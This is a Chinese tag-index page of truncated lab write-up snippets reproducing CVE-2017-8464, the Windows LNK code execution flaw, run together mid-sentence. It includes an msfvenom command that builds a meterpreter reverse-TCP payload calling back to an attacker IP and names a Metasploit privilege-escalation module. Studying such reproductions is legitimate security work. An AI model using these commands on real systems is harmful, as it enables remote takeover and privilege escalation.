首页 > TAG信息列表 > 8464
[漏洞复现]CVE-2017-8464
搭建Kali攻击机，ip地址为192.168.88.136。当Windows系统在解析powershell快捷方式时，存在远程执行任意代码的漏洞（CVE-2017-8464）。 生成攻击文件<search.ps1> msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.136 lport=5555 -f psh-reflection > /var/wwmsf之使用震网三代来提权
cve_2017_8464_lnk_lpe，他就是震网三代的exploit 上次没有成功将x64的搞定，现在搬来了震网三代 看我来个远程执行漏洞的提权 前面已经拿到shell，但没有system权限 我也是稍微找了以下exploit，真是大海捞针 偶然发现 use exploit/windows/local/cve_2017_8464_lnk_lpe 设置好[Shell]CVE-2017-8464漏洞复现
0x01 漏洞原理 Windows系统通过解析 .LNK 后缀文件时，是使用二进制来解析的，而当恶意的二进制代码被系统识别执行的时候就可以实现远程代码执行，由于是在explorer.exe进程中运行的，所以load进内存的时候与当前用户具有相同的权限。 于是攻击者利用这一解析过程的漏洞，将包含恶意二进制